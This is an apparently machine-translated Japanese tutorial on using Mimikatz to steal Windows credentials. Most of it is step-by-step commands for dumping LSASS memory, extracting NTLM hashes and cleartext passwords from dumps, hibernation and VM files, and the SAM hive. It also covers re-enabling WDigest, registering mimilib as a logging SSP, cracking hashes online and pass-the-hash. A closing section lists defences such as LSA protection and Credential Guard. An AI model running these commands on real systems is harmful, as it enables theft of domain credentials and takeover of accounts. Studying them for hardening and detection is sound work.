Windows Server
 Computer >> コンピューター >  >> システム >> Windows Server

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

この記事は、Windowsのセキュリティに関するシリーズの一部として書かれており、 Mimikatzを使用してすべてのアクティブなWindowsユーザーのパスワードを取得するための非常に簡単な方法を学習します。 道具。

Mimikatz.exe Windowsメモリ、パスワードハッシュ、Kerberosチケットなどからプレーンテキストのパスワードを抽出できます。また、mimikatzを使用すると、パスザハッシュ、パスザチケット攻撃を実行したり、ゴールデンKerberosチケットを生成したりできます。 mimikatz機能はMetasploitFrameworkでも利用できます。

mimikatzをダウンロードできます GitHubリポジトリから:https://github.com/gentilkiwi/mimikatz/releases/。 mimikatz_trunk.zipアーカイブをC:\ Tools\mimikatzに抽出します。このディレクトリには、x64とx86の2つのバージョンのmimikatzが表示されます。 Windowsビットネスのバージョンを使用してください。

この記事では、mimikatzを使用してWindowsServer2016またはWindows10でユーザーパスワードを取得する方法を紹介します。

免責事項。 この記事で説明されている情報とテクノロジーは、情報提供のみを目的として使用されるべきであり、第三者のアカウント、データ、およびシステムにアクセスするために使用されるべきではありません。

Mimikatzを使用したLSASSでのWindowsハッシュパスワードのハッキング

Windows Server 2016を実行しているRDSサーバー上のWindowsメモリ(lsass.exeプロセス–ローカルセキュリティ機関サブシステムサービス)から、ログインしているすべてのユーザーのパスワードハッシュをダンプしてみましょう。

管理者特権のコマンドプロンプトで次のコマンドを実行します。

  1. Mimikatz.exeを実行します 管理者として;
  2. 次のコマンドは、現在のアカウントにプロセスをデバッグするためのアクセス許可(SeDebugPrivilege)を付与します。
    privilege::debug
  3. アクティブなユーザーセッションを一覧表示します:
    sekurlsa::logonPasswords full
  4. 私のアカウント以外のサーバーには、2人のユーザーのアクティブなセッションがあります:novach およびadministrator
  5. NTLMハッシュをコピーします(スクリーンショットで強調表示されています)。
    Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする
mimikatzはインタラクティブではなく、コマンドモードで使用できます。ユーザーパスワードハッシュを自動的に取得してテキストファイルにエクスポートするには、次のコマンドを使用します。

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt

これで、オフラインで使用できます(hashcatがあります) Kali Linuxのツール)またはNTLMハッシュを復号化するためのオンラインサービス。 https://crackstation.net/というサービスを利用します。

ご覧のとおり、サービスはこれらのNTLMハッシュの値をすばやく見つけました。それらは、クリアテキストでユーザーパスワードを受け取りました。

これが、多数の同時ユーザーとエンタープライズ管理者セッションを持つRDSホストであると想像してください。このサーバーでローカル管理者権限を持っている場合は、ドメイン管理者パスワードを取得することもできます。

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

Windowsユーザーに複雑なパスワードを使用すると、それらを復号化するのがはるかに困難になります。したがって、GPOを介してパスワードの複雑さを常に有効にし、ADドメインのパスワードの強度を定期的に監査してください。

ご覧のとおり、mimikatzのおかげで、すべてのアクティブユーザーのNTLMハッシュを取得できました。このコンピューターでデバッグモードが有効になっているため、コマンドは成功しました。これにより、 SeDebugPrivilegeを設定できます。 目的のプロセスのフラグ。このモードでは、プログラムはシステムに代わって起動されたプロセスのメモリに低レベルでアクセスできます。

。 2017年6月、多くの国の多くの大企業がNotPetyaランサムウェアに感染しました。このランサムウェアは、組み込みのmimikatzモジュールを使用してユーザーとドメイン管理者のパスワードを収集しました。

Windowsメモリダンプからユーザーのパスワードを取得する方法

上記のパスワードハッシュを取得する方法は、インジェクションをブロックするアンチウイルスがインストールされている場合は機能しません。この場合、ターゲットホスト上にLSASSプロセスのメモリダンプを作成し、それをコンピュータにコピーして、mimikatzを使用してパスワードハッシュを抽出する必要があります。

Windowsでプロセスのメモリダンプを作成するのは非常に簡単です。タスクマネージャを起動し、lsass.exeプロセスを見つけて右クリックし、ダンプファイルの作成を選択します。 。

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

Windowsはメモリダンプをsystem32フォルダに保存します。

mimikatzを使用してダンプファイルを解析する必要があります(このタスクは別のコンピューターで実行できます)。メモリダンプをmimikatzにロードします:

Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”

ダンプからユーザー名とそのパスワードハッシュを取得します:

# sekurlsa::logonPasswords

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

psexecを使用して、またはWinRM(管理者権限がある場合)を介してリモートコンピューターからメモリダンプを取得し、そこからユーザーのパスワードを抽出できます。

procdumpを使用することもできます ダンプを取得するためのSysinternalsのツール:

procdump -ma lsass.exe lsass.dmp

LSASSプロセスのメモリダンプは、PowerShellのOut-Minidump.ps1関数を使用して取得できます。 Out-Minidump関数をPoShセッションにインポートし、LSASSプロセスのメモリダンプを作成します。

Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

Hyberfil.sysおよびVMページファイルからのWindowsパスワードの抽出

メモリダンプファイル、システム休止状態ファイル(hiberfil.sys)、およびからユーザーパスワードを抽出することもできます。仮想マシンファイルのvmem(仮想マシンのページングファイルとそのスナップショット)。

これを行うには、Windows用のデバッグツールが必要です。 (WinDbg)、 mimikatz それ自体とツール .vmemをメモリダンプファイルに変換します(Hyper-Vでは、vm2dmp.exeまたはVMWarevmemファイル用のMoonSolsWindowsメモリツールキットにすることができます)。

たとえば、VMWare仮想マシンのvmemページファイルをダンプに変換するには、次のコマンドを使用します。

bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp

ダンプをWinDbgにインポートし([ファイル]-> [クラッシュダンプを開く])、mimikatzライブラリmimilib.dllをロードします:

.load mimilib.dll

ダンプでlsass.exeプロセスを見つけます:

!process 0 0 lsass.exe

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

最後に、次のように入力します:

.process /r /p fffffa800e0b3b30
!mimikatz

その結果、Windowsユーザーのリストと、NTLMがパスワードをハッシュしたり、クリアテキストのパスワードを取得したりすることができます。

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

WDigestを使用してクリアテキストでWindowsパスワードを抽出する

WDigestを使用できます 従来のWindowsバージョンでのHTTPダイジェスト認証のプロトコル。このプロトコルの主なセキュリティ上の欠陥は、ユーザーのパスワードをハッシュではなくクリアテキストでメモリに保存することです。 Mimikatzを使用すると、LSASS.EXEプロセスのメモリからこれらのパスワードを抽出できます。

WDigestプロトコルは、Windows10およびWindowsServer 2016/2019を含む、すべての新しいバージョンのWindowsでデフォルトで無効になっています。しかし、完全には削除されていません。 Windowsでローカル管理者権限を持っている場合は、WDigetプロトコルを有効にし、ユーザーがログインしてパスワードを盗むのを待つことができます。

WindowsでWdigestを有効にする:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

グループポリシー設定を更新する:

gpupdate /force

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

ユーザーがログインしてmimikatzでパスワードを取得するのを待ちます(ユーザーはWindows10で再ログインする必要があります。WindowsServer2016では、画面がロックされた後にセッションのロックを解除するだけで十分です):

privilege::debug
sekurlsa::wdigest

ご覧のとおり、wdigestセクションにはユーザーのパスワードがクリアテキストで含まれています:

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

SAMからのローカルユーザーパスワードハッシュの抽出

mimikatzを使用すると、ローカルWindowsユーザー(組み込みの管理者アカウントを含む)のパスワードハッシュをSAMから抽出できます:

privilege::debug
token::elevate
lsadump::sam

レジストリSAMハイブからNTLMハッシュを抽出することもできます。

  1. SYSTEMおよびSAMレジストリハイブをファイルにエクスポートします:
    reg save hklm\sam c:\tmp\sam.hiv
    reg save hklm\security c:\tmp\sec.hiv

    Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする
  2. 次に、Mimikatzを使用してパスワードハッシュをダンプします。
    privilege::debug
    token::elevate
    lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

Mimikatzを介したPass-the-Hash攻撃の実行

ユーザーが強力なパスワードを持っていて、NTLMハッシュをすばやく復号化できない場合は、Mimikatzを使用してハッシュパス(ハッシュ再利用)攻撃を実行できます。この場合、ハッシュを使用して、ターゲットユーザーに代わってプロセスを実行できます。たとえば、ユーザーのパスワードのNTLMハッシュをダンプすると、次のコマンドはそのアカウントでコマンドプロンプトを実行します。

privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

また、Invoke-TheHashを使用することもできます NTLMクレデンシャルを再利用して、リモートコミューターでコマンドを実行するためのツール。

WindowsCredentialManagerからのパスワードのダンプ

Windowsでは、Windows Credential Managerにパスワードを保存できます(これらは、リモートコンピューター、Webサイト、TERMSRV/hostname1のRDP資格情報にアクセスするためのパスワードです。 フォーマット)。 Mimikatzは、これらのパスワードをCredential Managerから抽出して、表示することができます:

privilege::debug
sekurlsa::credman

ご覧のとおり、保存されたパスワードは credmanの下に表示されます。 セクション。

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

Windowsの自動ログオンパスワードは、クリアテキストでレジストリに保存されます。保存したWi-Fiパスワードを簡単に抽出することもできます。 クリアテキストでのWindowsログオンパスワードのダンプ

Windowsでパスワードをダンプするもう1つの興味深い方法は、mimikatzを利用した追加のSSPプロバイダー(セキュリティサポートプロバイダー)を使用することです。

  1. Mimikatzライブラリファイルmimilib.dllをフォルダC:\ Windows \System32\;にコピーします;
  2. 次のコマンドで追加のSPPプロバイダーを登録します:
    reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
  3. 各ユーザーがWindowsにログオンすると、パスワードがkiwissp.logファイルに書き込まれます。 PowerShellを使用してすべてのパスワードを表示できます:
    Get-Content C:\Windows\System32\kiwissp.log< / li>

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

クレデンシャルダンプ攻撃からWindowsを保護する

Windows8.1およびWindowsServer2012 R2(およびそれ以降)では、LSASSからパスワードを盗む機能が制限されています。 LMハッシュとパスワードは、デフォルトではこれらのWindowsバージョンのメモリに保存されません。

同じ機能が以前のバージョンのWindows(7/8 / 2008R2 / 2012)にバックポートされており、特別な更新プログラム KB2871997をインストールする必要があります。 (この更新プログラムは、システムのセキュリティを強化するための他のオプションを提供します)およびレジストリキー HKLM \ SYSTEM \ CurrentControlSet \ Control \ SecurityProviders \ WDigest DWORDパラメータを設定しますUseLogonCredential 0へ (WDigestは無効になっています。)

このアップデートとUseLogonCredentialキーをインストールした後、メモリからパスワードを抽出しようとすると、mimikatzがcreds_wdigestコマンドを使用してパスワードとハッシュをダンプできないことがわかります。

Mimikatzを使用してWindowsメモリからユーザーパスワードをダンプする

上記では、ローカル管理者権限がある場合に、このregキーを脆弱な値に簡単に設定する方法を示しました。その後、LSAメモリ内のパスワードに再度アクセスできます。

mimikatzには、メモリからパスワードとそのハッシュを取得するための他のオプションがあります(WDigest、LMハッシュ、NTLMハッシュ、Kerberosチケットをキャプチャするためのモジュール)。したがって、保護のために次のセキュリティ対策を実装することをお勧めします。

  • 可逆暗号化を使用してパスワードを保存しないようにする;
  • WDigestを無効にする;
  • CredentialManagerにパスワードを保存しないようにします。
  • NTLMを無効にする;
  • ドメインユーザーの資格情報のキャッシュを防止します( CachedLogonsCount による) レジストリパラメータまたはグループポリシーオプション対話型ログオンポリシー:キャッシュする以前のログオンの数 );
  • ドメインの機能レベルがWindowsServer2012 R2以降の場合は、管理者アカウントを特別な保護されたユーザーに追加できます。 グループ 。この場合、そのようなユーザーに対してNTLMハッシュは生成されません。
  • LSAプロセス保護を有効にします:reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f (この設定では、Microsoftが署名したプロセスのみがLSASSメモリにアクセスできます。このregキーは、GPOを介してドメインに展開できます)。
  • CredentialGuardを使用してプロセスのLSAコンテンツを保護します。
  • ローカル管理者でもデバッグ権限を取得しないようにする:GPO->Windows設定->セキュリティ設定->ローカルポリシー->ユーザー権利の割り当て->デバッグプログラム(ただし、LocalSystem権限がある場合など、これは簡単にバイパスされます)
ヒント 。パスワードやハッシュの抽出からWindowsのメモリを保護する方法に関する詳細な記事–Windowsドメインでmimikatzから防御する方法。

結論。 繰り返しになりますが、重要なセキュリティの概念のいくつかを思い出させてくれます。

  • 異なるサービスに同じパスワードを使用しないでください(特に、サードパーティが所有するRDP / RDSホストにアクセスする場合)。
  • クラウド内の仮想マシンに保存されているパスワードとデータのセキュリティについて考えてみてください。仮想マシンファイルが配置されているハイパーバイザーとストレージに他の誰がアクセスできるかわからないためです。
  • グローバルまたはローカルの管理者権限を持つアカウントの数を最小限に抑えます(ガイド「Windows環境での管理者アカウントの保護」を参照)。
  • ドメイン管理者アカウントで、他のユーザーがアクセスできるサーバーやコンピューターにログオンしないでください。


  1. Windows 10 でユーザーがデスクトップ アイコンを変更できないようにする

    ユーザーがデスクトップ アイコンを変更できないようにするWindows 10: デフォルトでは、Windows 10 ユーザーはデスクトップ アイコン設定を使用してデスクトップ アイコンを変更できますが、ユーザーがデスクトップ アイコン設定を使用してアクセスできないようにしたい場合はどうすればよいでしょうか?今日は、ユーザーが Windows 10 でデスクトップ アイコンを変更できないようにする方法について説明します。この設定は、同僚がデスクトップ設定を台無しにする職場でラップトップを使用する場合に非常に役立ちます。したがって、重要なデータを台無しにします。デスクトップはいつでもロックできま

  2. PCUnlockerでWindows 10の忘れたパスワードを回復する

    コンピュータの安全とセキュリティのために、パスワードを設定することは非常に重要です。見知らぬ人があなたの許可なく PC にアクセスしたり使用したりすることはありません。しかし、コンピューターのパスワードを忘れたらどうなるか考えたことはありますか?その場合、設定したパスワードを入力することがコンピュータにアクセスまたは使用する唯一の方法であるため、コンピュータにアクセスすることはできません。 しかし、最近では Windows オペレーティング システムにさまざまな機能が搭載されているため、コンピュータのパスワードを忘れても心配する必要はありません。パスワードを忘れた場合でも、コンピュータにアクセ